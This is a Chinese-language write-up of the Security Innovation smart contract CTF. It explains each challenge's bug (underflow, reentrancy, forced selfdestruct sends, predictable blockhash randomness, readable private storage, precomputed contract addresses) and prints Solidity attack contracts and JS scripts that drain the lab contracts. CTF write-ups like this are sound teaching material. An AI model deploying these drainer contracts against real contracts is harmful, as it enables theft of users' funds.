【阿菜Writeup】Security Innovation Smart Contract CTF

GNxNx發表於2021-08-26

賽題地址:https://blockchain-ctf.securityinnovation.com/#/dashboard

Donation

原始碼解析
我們只需要用外部賬戶呼叫 withdrawDonationsFromTheSuckersWhoFellForIt() 把錢取出來,就算是挑戰成功啦。本題難就難在怎麼用外部賬戶呼叫合約函式。。。

解題
點一下 Hints 他就會提醒你用 MyCrypto 來完成這個挑戰。我用了,太香了。完美解決了用外部賬戶呼叫合約函式的問題。
只需要進入介面 —> TOOLS —> Interact with Contracts —> 然後按照要求把內容填好 —> 選擇所呼叫的函式 —> 成功!

Lock Box

原始碼分析

  1. now 引數在 0.7.0 以後被替換為 timestamp 它的返回值等於:https://www.unixtimestamp.com/
  2. pinprivatepin ,就是不公開的意思。
  3. 目的就是要你猜出 pin 的值。啊當然,猜是不可能猜的,這輩子也不可能猜的。

解題

接下來的內容,瞭解solidity中變數儲存位置的讀者可以“顯然”地知道 pin 值在合約中儲存的位置。不瞭解的讀者也不要緊,我們可以進行一步推導得出他的儲存位置。

將合約內容反編譯:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566

首先找到函式 function unlock(var arg0) ,然後在函式中找到這個判斷:

if (storage[0x01] == arg0) {
    var temp1 = address(address(this)).balance;
    var temp2 = memory[0x40:0x60];
    var temp3;
    temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
    var var0 = !temp3;

    if (!var0) { return; }

    var temp4 = returndata.length;
    memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
    revert(memory[0x00:0x00 + returndata.length]);
}

為什麼是這個 if 判斷呢,因為在這個判斷裡面有轉賬語句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()

然後我們看出我們輸入的值是和 storage[0x01] 進行比較的,也就是說 pin 值就存放在 storage[0x01] 中。所以,我們可以利用 Web3.js 獲取這個位置的值。

Web3.js 程式碼:

var Web3 = require('web3');
// 建立web3物件
var web3 = new Web3();
// 連線到 ropsten 測試節點
web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log)

// return:
// 0x00000000000000000000000000000000000000000000000000000000000007b2
// 轉為十進位制等於1970

HttpProvider 中填入你自己的 infura 連結即可。

最後,我們把得到的 1970 填入到題目中,完成解題。

Piggy Bank

解題
直接呼叫 CharliesPiggyBank 中的 collectFunds 函式進行取款就完成挑戰了。。。
可能關鍵點就在於 CharliesPiggyBank 中的 collectFunds 少繼承了 modifier onlyOwner() ,看看是否發現了這個漏洞。。。吧?

SI Token Sale

原始碼分析

  1. 雖然他呼叫了 SafeMath 模組,但是他沒有用。誒有模組我不用,就是玩兒。
  2. 10 szabo 的交易費用(1 ether == 10^6 szabo)
  3. 結合以上兩點,在 balances[msg.sender] += _value - feeAmount; 這裡很可能會發生下溢位漏洞

解題

  1. 往合約打 10 wei (只要小於 10 szabo 即可),使其發生下溢位,這樣我們的 balances 就會變得非常大,方便後面為所欲為。
  2. 然後呼叫 refundTokens(uint256 _value) 函式,_value 的值為合約餘額的兩倍(這裡留意一下,在題目網頁上顯示的餘額有那麼一丟丟不準確,建議去 etherscan 上面查一下準確的餘額)
  3. 過關~

Secure Bank

原始碼分析

  1. 三個合約,一層套一層,SimpleBank —> MembersBank —> SecureBank
  2. SimpleBank withdraw:要求取款不能超過賬戶餘額
  3. MembersBank withdraw:要求取款不能超過賬戶餘額,取款賬戶是 member
  4. SecureBank withdraw:要求取款不能超過賬戶餘額,取款賬戶是 member,取款賬戶是自己

解題
我們要做的就是把建立合約的賬戶餘額給取走。

雖然 SecureBank withdraw 是繼承 MembersBank withdraw 的,但是因為的引數格式不一致(前者是uint8 _value,後者是uint256 _value),導致了 SecureBank 中會出現兩個可以呼叫的 withdraw 函式。(這可以從 ABI 中看出,有兩個 withdraw 函式。)

也就是說,可以在 SecureBank 合約中,呼叫 MembersBank withdraw 函式進行取款。

  1. 呼叫 register 函式,對建立合約的賬戶地址進行註冊,使其成為 member
  2. 呼叫 MembersBank withdraw ,將建立合約的賬戶中的餘額轉走
  3. 成功

Lottery

一個猜數字的遊戲,涉及到了區塊號和傳送者地址等

解題

  1. blockhash 函式,很有講究,當輸入的區塊號為當前區塊號或 256 個以前的區塊號,它都返回 0。也就是說 blockhash(block.number) == 0

  2. ^ 是異或操作

  3. 也就是說,當我們要求 guess==target 的時候,只是在要求 _seed == abi.encodePacked(msg.sender)

  4. 通過下面的函式即可得到剛剛好的 _seed

    function encode(address _addr) public returns(bytes32) {
            return keccak256(abi.encodePacked(_addr));
        }
    

Trust Fund

看!好大個msg.sender.call.value(allowancePerYear)() !!它用 call 來轉賬!! 它用 call 來轉賬!! 重入漏洞幹他!

解題

重入漏洞就不多解釋了,原理搜一下即可,直接上攻擊程式碼:

pragma solidity 0.4.24;

contract attack{
    address public aimAddr;
    
    function reen(address _addr) public {
        aimAddr = _addr;
        _addr.call(bytes4(keccak256("withdraw()")));
    }
    
    function () public payable{
        aimAddr.call(bytes4(keccak256("withdraw()")));
    }
}

反覆呼叫目標合約,將裡面的錢全部提取出來。

注意:gas limit 要稍微設定的大一點點,不然會呼叫失敗:out of gas。

Record Label

原始碼分析

  1. 程式碼很繁瑣,整體來說就是取款的時候要按百分比分一部分給 Manager 合約
  2. 呼叫 withdrawFundsAndPayRoyalties 函式進行取款,取款流程跟蹤函式看一下,還挺繞。。

關鍵點:

  1. addRoyaltyReceiver 函式中沒有對新增的地址進行檢測,可以新增已有的使用者
  2. payoutRoyalties 函式中只對每一個 reciver 中的比例進行扣款,沒有檢查總的 percentRemaining

解題

檢視 RecordLabel 合約的建立交易,它同時建立了另外兩個合約(Manager 和 Royalties)

image

Royalties 合約的地址我們可以查到

image

所以可知 Manager 合約的地址為:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12

Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885

Royalties 的 ABI 如下:

[
	{
		"constant": true,
		"inputs": [],
		"name": "amountPaid",
		"outputs": [
			{
				"name": "",
				"type": "uint256"
			}
		],
		"payable": false,
		"stateMutability": "view",
		"type": "function"
	},
	{
		"constant": false,
		"inputs": [],
		"name": "payoutRoyalties",
		"outputs": [],
		"payable": true,
		"stateMutability": "payable",
		"type": "function"
	},
	{
		"constant": false,
		"inputs": [
			{
				"name": "_receiver",
				"type": "address"
			},
			{
				"name": "_percent",
				"type": "uint256"
			}
		],
		"name": "addRoyaltyReceiver",
		"outputs": [],
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"constant": false,
		"inputs": [],
		"name": "getLastPayoutAmountAndReset",
		"outputs": [
			{
				"name": "",
				"type": "uint256"
			}
		],
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [
			{
				"name": "_manager",
				"type": "address"
			},
			{
				"name": "_artist",
				"type": "address"
			}
		],
		"payable": false,
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"payable": true,
		"stateMutability": "payable",
		"type": "fallback"
	}
]

將 Royalties 合約中 (reciver == Manager) 的分錢比例設為 0

image

然後呼叫 withdrawFundsAndPayRoyalties 函式取走 1000000000000000000 wei (1 eth)即可

Slot Machine

程式碼分析
有一種轉賬方法可以在不觸發 fallback 函式的情況下完成轉賬:合約自毀。

pragma solidity 0.4.24;

contract selfdes{
    function destruct(address _aim) public{
        selfdestruct(_aim);
    }
    
    function () payable public{
        
    }
}

解題

  1. 先轉入 3.5 eth 到自毀合約中,執行自毀函式向目標合約進行轉賬(繞開了其fallback函式)。此時目標合約中的餘額已經大於 5 eth,也就是滿足 address(this).balance >= winner 這一條件。
  2. 再使用自己的賬戶往目標賬戶中轉入 1 szabo ,完成攻擊。

Heads or Tails

程式碼分析
關鍵點就在 entropy 和 coinFlip 兩個變數上,而這兩個變數都是我們可以獲取到具體值的。根據題目 msg.sender.transfer(msg.value.mul(3).div(2)); 這行程式碼,我們轉賬 20 次即可把餘額取完。

解題

不多bibi,直接上程式碼:

pragma solidity 0.4.24;

contract getHeads{
    bytes32 public entropy;
    bytes1 public coinFlip;
    bool public coinBool;
    
    function caller(address _aim) public {
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if(coinFlip == 1){
            coinBool = true;
        }
        else{
            coinBool = false;
        }
        
        for(uint i = 0; i < 20; i++){
            _aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
        }
    }
    
    function getback() public{
        msg.sender.send(this.balance);
    }
    
    function () payable public{
        
    }
}
  1. 首先把該合約加入到名單中。
  2. 然後在執行 caller 函式之前,往合約轉 0.1 ether ,並且 gas limit 設定得稍微大一點點即可。
  3. 完成挑戰後記得把錢取走!

Rainy Day Fund

原始碼分析
看到這道題的時候閃過了一下提前轉賬的想法,但是一想應該不能重置了再來這麼蛇皮吧就打消了這個念頭。沒想到就是這樣做的。

解題

我們需要提前計算出 DebugAuthorizer 合約的地址(可以做到),然後提前轉賬 1.337 ether,當這個地址被部署上合約的時候就滿足條件 (address(this).balance == 1.337 ether) 。然後就可以呼叫 withdraw 函式把錢取走了。

首先,新的外部賬戶nonce從0開始,新的合約賬戶nonce則是從1開始。

檢視合約呼叫鏈,我們可以得知 DebugAuthorizer 合約由 RainyDayFund 合約進行建立。而 RainyDayFund 合約則由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 建立。

我們知道 developer 的地址,還需要知道它建立 RainyDayFund 合約的 nonce ,這樣才能計算出它下一次建立的合約地址。

var util = require('ethereumjs-util');
// 根據傳送者地址和nonce求取生成的新合約的地址
// 先RLP編碼,再Hash,擷取Hash值的後20個位元組
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";

for(var i = 1; i <= 10000000; i++){
	buf = [Buffer.from(developer , "hex"), i];
	// RainyDayFund.address == 30e93a...
	if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
		console.log(i);
		break;
	}
}
// result: i = 359

計算得出 developer 建立 RainyDayFund 合約的 nonce = 359 ,那麼我們下一次建立的時候 nonce 就等於 360。而 RainyDayFund 合約在 nonce = 1 時建立了 DebugAuthorizer 合約。

然後就可以通過下面的程式碼計算出下一次部署的 DebugAuthorizer 的地址:

var util = require('ethereumjs-util');
var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
var nonce = 360;

var buf = [Buffer.from(developer, "hex"), nonce];
var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);

var nonce2 = 1;
var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);

/*
計算下一次重構所生成的合約地址:
RainyDayFund:
[eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
DebugAuthorizer:
[1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
*/

然後往計算得出的 DebugAuthorizer 地址中轉入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接呼叫 withdraw 函式將錢取走!

【吐槽:這道題真的很費幣。。做到一半幣不夠了,水龍頭也壞了,還得向大佬要了點幣才解得了。。】

Raffle

解題
利用 blockhash 函式只能計算最近 256 個區塊的雜湊值,超過 256 個的區塊雜湊值為 0 這個特點。

合約1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37

負責買票,關閉抽獎

pragma solidity ^0.4.0;

contract Raffle{
    
    function buyTicket(address _aim) public{
        _aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
    }
    
    function closeRaffle(address _aim) public{
        _aim.call(bytes4(keccak256("closeRaffle()")));
    }
    
    
    function withdraw() public{
        msg.sender.send(this.balance);
    }
    
    function () payable public{}
}

合約2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C

負責買票,領獎

pragma solidity ^0.4.0;

contract Raffle2{
    
    function buyTicket(address _aim) public{
        _aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
    }
    
    function collectReward(address _aim) public{
        _aim.call(bytes4(keccak256("collectReward()")));
    }
    
    
    function withdraw() public{
        msg.sender.send(this.balance);
    }
    
    function () payable public{}
}

買完票以後的當前區塊數:10853164,只需要耐心等待,直到區塊數超過 10853164 + 256 ,再利用合約1關閉抽獎,最後利用合約2領獎。

後記

從其他部落格中看到了一個關鍵點:

觸發 fallback 函式後,若 fallback 函式中又呼叫了自身函式,那麼此時,msg.sender 變成了自身

相關文章